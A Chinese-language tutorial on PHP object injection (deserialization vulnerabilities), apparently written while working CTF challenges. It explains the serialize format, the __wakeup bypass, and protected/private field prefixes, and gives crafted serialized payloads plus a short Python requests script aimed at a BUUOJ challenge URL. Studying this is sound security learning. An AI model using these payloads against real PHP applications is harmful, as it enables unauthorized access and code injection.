PHP对象注入(俗称反序列化漏洞)
相关函数
在利用这个漏洞之前我们要先了解相关的函数都有什么,弱点在哪里
看不懂下面的不要紧
后面我会慢慢解释
unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。返回的是转换之后的值,可为 integer、float、string、array 或 object。如果传递的字符串不可解序列化,则返回 FALSE。与之相对的函数serialize()序列化函数。
掌握语言的最好方法就是自己动手敲
我们举个例子
<?php
//序列化一个数组
$sites = array('Google', 'Runoob', 'Facebook');
$serialized_data = serialize($sites);
echo $serialized_data;
//a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}
//序列化一个字符串
$str='hello world';
echo serialize($str);
//s:11:"hello world";
//序列化一个类
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf;
echo serialize(($a));
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
?>
s:16代表这个是字符串,字符串长度为16,a:3代表这个是数组,有三个数值。O代表对象,xctf是类名,flag是类实例化后的对象名
下面详细说一下序列化对象的内容
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。所以对象A和对象B序列化后并没有什么区别。
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
O:表示序列化的事对象
< length>:表示序列化的类名称长度
< class name>:表示序列化的类的名称
< n >:表示被序列化的对象的属性个数
< field name 1>:属性名
< field value 1>:属性值
unserialize()函数能够重新把字符串变回php原来的值。
漏洞成因
PHP__wakeup()函数漏洞
在程序执行前,serialize() 函数会首先检查是否存在一个魔术方法 __sleep.如果存在,__sleep()方法会先被调用, 然后才执行串行化(序列化)操作。这个功能可以用于清理对象,并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致 一个E_NOTICE错误。
与之相反,unserialize()会检查是否存在一个__wakeup方法。如果存在,则会先调用 __wakeup方法,预先准备对象数据。但是这个wakeup()是可以被绕过的
漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码有能够被我们控制,漏洞就这样产生了,根据不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。
__wakeup 触发于 unserilize() 调用之前, 当反序列化时的字符串所对应的对象的数目被修改,__wake 的函数就不会被调用. 并且不会重建为对象, 但是会触发其他的魔术方法比如__destruct
贴一个我觉得最详细的链接:
https://www.anquanke.com/post/id/84705
漏洞利用
利用__wakeup()函数漏洞原理:
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
链接:xctf unserialize3
wp:xctf unserialize3
进阶版之变量权限为私有或者保护
protected
声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0
的前缀。这里的
\0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。
这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。
必须用python传值才可以。
比如:
O:4:"Name":2:{s:11:"\0*\0username";s:5:"admin";s:11:"\0*\0password";i:100;}
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
对于private变量,我们需要在类名和字段名前面都会加上\0的前缀
比如
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
注意:
这里使用python提交,因为他是私有类,
类名和字段名前面都会加上\0的前缀
进行利用的(传入该变量)
py代码:
import requests
url ="http://7bc3f84d-1e2f-4a49-897a-15eb4d1d5255.node3.buuoj.cn"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)
如果想放在浏览器中直接提交,我们可以将\0
换成%00
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
相关题目链接:https://blog.csdn.net/weixin_45844670/article/details/108934194
总结
其实漏洞的核心思想还是在于unserialize函数,漏洞利用的核心思路在于控制魔术方法中的代码从而产生代码注入,SQL注入,目录遍历等一系列的漏洞利用。防御本漏洞就要严格控制unserialize函数的参数,对unserialize后的变量内容进行检查,确保绿色输入。